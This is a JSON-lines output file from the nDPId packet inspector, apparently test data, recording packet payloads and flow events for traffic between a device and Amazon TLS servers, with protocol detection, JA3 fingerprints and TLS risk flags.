+00786{"flow_id":157,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2912,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":76549,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ePiC0\/vCAMDKkVoBCABFAAE2pF1AAPIGmbQ0VD5zrBAq2AG7o7r33T7BWDm8nYAYAHY+jQAAAQEICmz6j1wA9orlFgMDAMoEAADGAAAqMADAgJEsFgnfW6+1G9seOjvPHM6O74JMDRDFUISq\/ppn0DO9aqruIOfVaR5LrTCCzy8t+KvEVEZ9qC43JZtWToJcUGose6HTIYlEGiWxuq6zP7rmzs3klvP\/ASgYWRHDJlJxizCvIVNDChtT8\/DKQWm\/tl5+cXUbRccAodB3\/kKSEPNKGrehSZKuuxZjaGA7gc6KQVGFmLyMXG7NZWcyhDbf4U17z4T1RaqgOXpDmPUyNVqXu084rLQyc78Pv9rFuOwyFAMDAAEBFgMDACj8V+syjbuyeyHSHjpxxn6M\/tvtoBCvs\/AvB2aRjdjw6LFR5aY80QeQ"} +00651{"flow_id":158,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2913,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":79939,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"AMDKkaPvePiC0\/vCCABFAADWLWtAAEAG4i2sECrYNu8csuLAAbtkEKeJW8DRcFAYAVdgIgAAFgMBAKkBAAClAwEIvZt9+BC6Nupqw3rZKTOo5DVtg3EJn2TLxazoTB5EvSCh56jEaMWoPL9OuslqKXpycwU0yxHxmHJEb6cXK1MHCAAcwAnACsATwBQAMwA5ADIAOMAHwBEALwA1AAUA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00745{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2913,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":158,"flow_packet_id":4,"flow_first_seen":1490976196016,"flow_last_seen":1490976196079,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":58048,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00784{"flow_id":155,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2914,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":89028,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":324,"pkt_l4_len":290,"pkt":"ePiC0\/vCAMDKkVoBCABFAAE2oRJAAPIGnP80VD5zrBAq2AG7o7jUv0FfHVNMyoAYAHampQAAAQEICmz6jKUA9ormFgMDAMoEAADGAAAqMADAgJEsFgnfW6+1G9seOjvPHBogvEOu\/mn+xMz3rJx2AUVfQFoKjLNeTiME4nQZ8RKXytF+lLyuo9ZDzCQHOJq92cL3aZ0NIvvbSODO5dssY3WT85lFrxetrZn4ITURLaz+aUXYwxqxgJhJGFAznejdzxcrfRWBt8RQNAqGDRNR3r+hzWG7\/lxvrspn2og\/kb0BxnsslEivK2W3JF6EsAOQ2c7dtxrtSH9iH1FQb9r8RC1TsTCOLTVddXjMDRl\/grcnFAMDAAEBFgMDACg43\/PD1dhqSfT6rC3wIL9Q4NHZ9+CkGzCs5EkXkPvjLN4mSRPNXJ97"} +00425{"flow_id":158,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2928,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":143111,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoKCNAAOcGQSM27xyyrBAq2AG74sBbwNFwZBCoN1AQf\/rnWwAAAAAAAAAA"} +00537{"flow_id":158,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2929,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":143271,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9KCZAAOcGQMs27xyyrBAq2AG74sBbwNFwZBCoN1AYf\/pUggAAFgMBAEoCAABGAwFY3n3EdqMpX58ZXpF2Q6Q1jZwfZ4R0vjI8oQRX\/yTXKSCh56jEaMWoPL9OuslqKXpycwU0yxHxmHJEb6cXK1MHCAAvABQDAQABAQ=="} +00812{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2929,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":158,"flow_packet_id":6,"flow_first_seen":1490976196016,"flow_last_seen":1490976196143,"flow_tot_l4_data_len":407,"flow_min_l4_data_len":20,"flow_max_l4_data_len":194,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":58048,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f8f5b71e02603b283e55b50d17ede861","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00491{"flow_id":158,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2930,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":143317,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdKDRAAOcGQN027xyyrBAq2AG74sBbwNHFZBCoN1AYf\/oYgQAAFgMBADCJz2Z1Hciu4Jc7mGhTYE9YtOvxsJHpLsZEwejRBcKX73Y17G7NADlcbD9xgnDCzCU="} +00416{"flow_id":158,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2932,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":144592,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoLWxAAEAG4tqsECrYNu8csuLAAbtkEKg3W8DRxVAQAVdlqgAA"} +00416{"flow_id":158,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2933,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":147041,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoLW1AAEAG4tmsECrYNu8csuLAAbtkEKg3W8DR+lAQAVdldQAA"} +00499{"flow_id":158,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2934,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":147954,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjLW5AAEAG4p2sECrYNu8csuLAAbtkEKg3W8DR+lAYAVeqEQAAFAMBAAEBFgMBADD2QvgoZCzL2sq9QkWBCk4oZYYnMOqmN0xgX5RLRlGnxcOsJXhxtOLqkEjsjWjhac0="} +01086{"flow_id":158,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2935,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":149644,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"AMDKkaPvePiC0\/vCCABFAAISLW9AAEAG4O2sECrYNu8csuLAAbtkEKhyW8DR+lAYAVfCVwAAFwMBACAq1pVXkGSW4f2YohoU+FIGpU10z0bdYKMLfEeBr1uVNhcDAQHAfuhhV8jDb3AMgYqrEAETSCFFdqHfJVviEQ8iPKs82cgGEJmw8cZX+0\/Tue8IqHeSYG25k3IedqFe++SBL4MVz2MbqgnG4hrhn0JcN3IUcj8gQFNfrpCBt7iLoL4qvQ5g81iZ2SzcatlKm2X2qtG6wRqOll220jIzVJlE0rDIU\/0tjXGOKpgW4jQrPDyzvsZsYifXbLKNlILac7lviqRlZsj+XbS5GiB3tGTtwuP9XnxXgEPPPwPD2Se4Le++yQkCaK+MlvF\/Tg6HPxctU+vgRJ691Ss2\/ZKGIqHlZh25\/2ux843yj0CESkW5C8Yfye0GkBwqUHoY0oJJ39jXZ7PnGcGfEYPegzYKSx7fA4o\/nqR2lEHu1ieFqTR+1O+e0QxVk0JauRqix7VF26ojv1ejMe1iMoyMSzCX59i4jFk8nPX1naK1fTnzojXksdlA7MQhEQeqcWAxvjI712FwqBANLeztME\/TxY7rW5H0bjc\/ZunyqwxdXMRQy\/xuxzCjrvGfff9tc8OnNgdiHqJm8MLH93hv9AgKGuTqdXWnErvhCpycV1FwvzfzAn+52a\/rbSMXaKJpwMltLLU3EYuMM3pfbA=="} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":120,"flow_packet_id":30,"flow_first_seen":1490976134140,"flow_last_seen":1490976135403,"flow_tot_l4_data_len":14885,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":496,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51985,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":121,"flow_packet_id":59,"flow_first_seen":1490976134141,"flow_last_seen":1490976135403,"flow_tot_l4_data_len":33432,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":566,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51986,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":122,"flow_packet_id":26,"flow_first_seen":1490976134144,"flow_last_seen":1490976135402,"flow_tot_l4_data_len":13433,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":516,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51987,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":123,"flow_packet_id":28,"flow_first_seen":1490976134146,"flow_last_seen":1490976135403,"flow_tot_l4_data_len":15059,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":537,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51988,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":124,"flow_packet_id":31,"flow_first_seen":1490976134148,"flow_last_seen":1490976135505,"flow_tot_l4_data_len":16709,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":539,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51989,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":125,"flow_packet_id":28,"flow_first_seen":1490976134149,"flow_last_seen":1490976135403,"flow_tot_l4_data_len":15709,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":561,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51990,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2936,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":118,"flow_packet_id":31,"flow_first_seen":1490976130073,"flow_last_seen":1490976134134,"flow_tot_l4_data_len":9238,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":298,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.29.253","src_port":40864,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":158,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2937,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":206840,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoGApAAOcGUTw27xyyrBAq2AG74sBbwNH6ZBCoclAQf\/nmlwAAAAAAAAAA"} +00426{"flow_id":158,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2938,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":206984,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoGA1AAOcGUTk27xyyrBAq2AG74sBbwNH6ZBCqXFAQf\/HktQAAAAAAAAAA"} +01233{"flow_id":158,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2939,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":210247,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ePiC0\/vCAMDKkVoBCABFAAJ9GDhAAOcGTrk27xyyrBAq2AG74sBbwNH6ZBCqXFAY\/cTfAAAAFwMBAlA1\/jeW82DEgSiFV2UMawc3\/qHF7N+D9KTUZEWtF6KLA1Ve83SXjzsPkBsG1pIB6OXd6Z2YKnAb6s7oGvPyPCwwd+z88+vxjPlDvQ8Op\/xy+2QYKg5zNjX+FBB5TcguCVVaR\/qYj\/blYX9piqHP3WmhSQSOG03BpWYgdWXM23vcEg9yEeWEJphAbJPfg8GMYMhUr9FCOAl\/s7CLpm\/fwYrx\/A\/szEDOr9GDpUNxRwrY54nsI8++8pYTf40Z64+qZLGQXTgkG1lo6z\/j3MSYbnZKoZsu+6XN6+JS1bQHFz5yXbVfArwVIiwHuG6lFBh2uxwi5g+ZL\/ONXCuojIdIJLGmJ1lQlR0rTq3GqAqcKAX51z19zV1+9kyAmzmBH+ioagfm8N2Luh652u2undAmnBRwTbO7u3Z91\/ILkjah7fdFAOBkP44NU9Cte509wVjhjQw3WwI1s6GRWVqN1CY2WUWJNyOd61mxdxtGNMwMoPAI82tiMRnoRiuHdYAIRjppSiFswruRjd2SC7jiSw5Ht386QGxOSJbk3LIt9QpedaBeP5Y4\/ZiDE63NVjisHpYW6wWhJPkJHqbsTP\/I0Ay2RPI9BDFbohTw9h8syJeSs7sHEHIKj0drsiXFz4Vx1YVanVtIVawoCqqottCkUqmNTAkcqXU7iujU2aR0aEF+m\/KcKgJtSY+faBw6PvIo1o19pfD+mkfXzTqB72f6QiMLSNcIp3bh60ZcK73sGWTGOrrl3166rV3CM6ZYjQgXhush\/jmCb8q7BFaN8gfkhAImtrTk"} +00471{"flow_id":158,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2940,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":219421,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"AMDKkaPvePiC0\/vCCABFAABNLXBAAEAG4rGsECrYNu8csuLAAbtkEKpcW8DUT1AYAVvbAwAAFQMBACCZ0zYYKq2pf3c+\/yzZ9rYaEKoGfov5k19l\/J3sUoGLzg=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2942,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":159,"flow_packet_id":1,"flow_first_seen":1490976196223,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":38483,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":159,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2942,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":223999,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8Y0xAAEAG+qKsECrYNFXRj5ZTAbu3TOm6AAAAAKAC\/\/+mLwAAAgQFtAQCCAoA9or2AAAAAAEDAwg="} +00444{"flow_id":159,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2943,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":257995,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPMGqu40VdGPrBAq2AG7llOp3LO0t0zpu6AScSBd6wAAAgQFtAQCCApt5QucAPaK9gEDAwg="} +00432{"flow_id":159,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2944,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":259088,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0Y01AAEAG+qmsECrYNFXRj5ZTAbu3TOm7qdyztYAQAVf8fgAAAQEICgD2ivlt5Quc"} +00697{"flow_id":159,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2945,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":261315,"pkt_caplen":260,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":260,"pkt_l4_len":226,"pkt":"AMDKkaPvePiC0\/vCCABFAAD2Y05AAEAG+easECrYNFXRj5ZTAbu3TOm7qdyztYAYAVe1MwAAAQEICgD2ivpt5QucFgMBAL0BAAC5AwOo7Axkb8GLUakvQG63Tsv7HZAz5uQ4F\/rfU5NRiOqOZwAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAZAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00790{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2945,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":159,"flow_packet_id":4,"flow_first_seen":1490976196223,"flow_last_seen":1490976196261,"flow_tot_l4_data_len":338,"flow_min_l4_data_len":32,"flow_max_l4_data_len":226,"flow_avg_l4_data_len":84,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":38483,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00432{"flow_id":159,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2949,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":295914,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0uBVAAPMG8uA0VdGPrBAq2AG7llOp3LO1t0zqfYAQAHb8mAAAAQEICm3lC6AA9or6"} +02378{"flow_id":159,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2950,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":300973,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcuBZAAPMG7Tc0VdGPrBAq2AG7llOp3LO1t0zqfYAQAHbCLAAAAQEICm3lC6AA9or6FgMDADkCAAA1AwOITJ+WtrmemlElVvtzO5mNNeHpceR5rWEa3LkT6uGYtgDALwAADf8BAAEAAAsABAMAAQIWAwML6AsAC+QAC+EABp8wggabMIIFg6ADAgECAhAdSr2qeNCa\/nmdQbzrenZiMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTYxMDMxMDAwMDAwWhcNMTcxMjMxMjM1OTU5WjBoMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEXMBUGA1UEAwwOd3d3LmFtYXpvbi5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDCWihndZ\/4HxzWdNmP\/XjAI8iPKFw5XnK0RlANu1+1aLE7FOkbZKWTYYjWnO0RKmikGZtj+Fozlg1YNgMevTUBC\/MCrCw3LPmxfivK2QgRYj3YOiYpu\/FAqvLSbRm6P0zNptlva8dvR1tbBSXbJefmeV8clJ+YPRNLdQU1pDNcTEWeUpT+LtWiYsQH870618nRXZdnNvM7HdF+9PLnCafgDEILucZGSU0EpVr6elGXTOP6WjIJoz4AXlhX1ltREi7FiJk5be7ZrrpXNjAJFrYR20hs8As791KsU0C5oCEqqkU3Q4HjZ3XohZQ4qIyIcMkvnXZgAkkGZ9A8jt9VC1cnAgMBAAGjggMpMIIDJTCB1AYDVR0RBIHMMIHJggphbWF6b24uY29tgghhbXpuLmNvbYIRdWVkYXRhLmFtYXpvbi5jb22CDXVzLmFtYXpvbi5jb22CDnd3dy5hbWF6b24uY29tggx3d3cuYW16bi5jb22CFGNvcnBvcmF0ZS5hbWF6b24uY29tghFidXlib3guYW1hem9uLmNvbYIRaXBob25lLmFtYXpvbi5jb22CDXlwLmFtYXpvbi5jb22CD2hvbWUuYW1hem9uLmNvbYIVb3JpZ2luLXd3dy5hbWF6b24uY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBhBgNVHSAEWjBYMFYGBmeBDAECAjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZDBdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MIIBBgYKKwYBBAHWeQIEAgSB9wSB9ADyAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFYGJ\/J8QAABAMASDBGAiEA6fFlggg6W7QvWe9jf7KTwDKBjO3dGyhkPVZyzlOX5b8CIQCuPTe0zJihJrUjbnOuq6NcNCnkacxegjQwcBcg1ZwRXQB3AGj2mPgfZIK+OozuuSgdTPxxUV1nk9RE0QpnrLtPT\/vEAAABWBifyhoAAAQDAEgwRgIhANGVBDwoLZH9u855YmvQUZ53FuM="} +00847{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2950,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":159,"flow_packet_id":6,"flow_first_seen":1490976196223,"flow_last_seen":1490976196300,"flow_tot_l4_data_len":1850,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.85.209.143","src_port":38483,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02382{"flow_id":159,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2951,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976196,"pkt_ts_usec":301456,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcuBdAAPMG7TY0VdGPrBAq2AG7llOp3Lldt0zqfYAQAHZ3mQAAAQEICm3lC6AA9or6E4OglejZEYKSCHekRQIhALbGyJPwAagwlRnFD5iqE1ZzSTO6uadnKEazPJcW2sRnMA0GCSqGSIb3DQEBCwUAA4IBAQA65KlsAxxtgfs05qV0ywTqM6qGzBkMIgJzJpCh9OR+X+STrfjphnLQlOwIuHxiF0oVphsf9oYW6TYQimBIKoFpP94WbG2ojsr39YJ6kiDhudt3ef24QnZ3AtnXM5OLVv46iwZst4TwdwO3\/Ialn7ql3sVX7+13yscEXfwfMT0JI1yzl+vZ8tR6bc5X9HqwjuADJelImPs\/TxshDt3JRhbUuKcFxjaEcEtRqoGemgZgEpRnifUSBvnl01IVzb71DGWuBpx0qrpruMAUU1lOJrg\/rwQMSXC2lSZDiDn1cjK0z+XLi7x86N\/7jW6zKh5RjSgrr6H7Z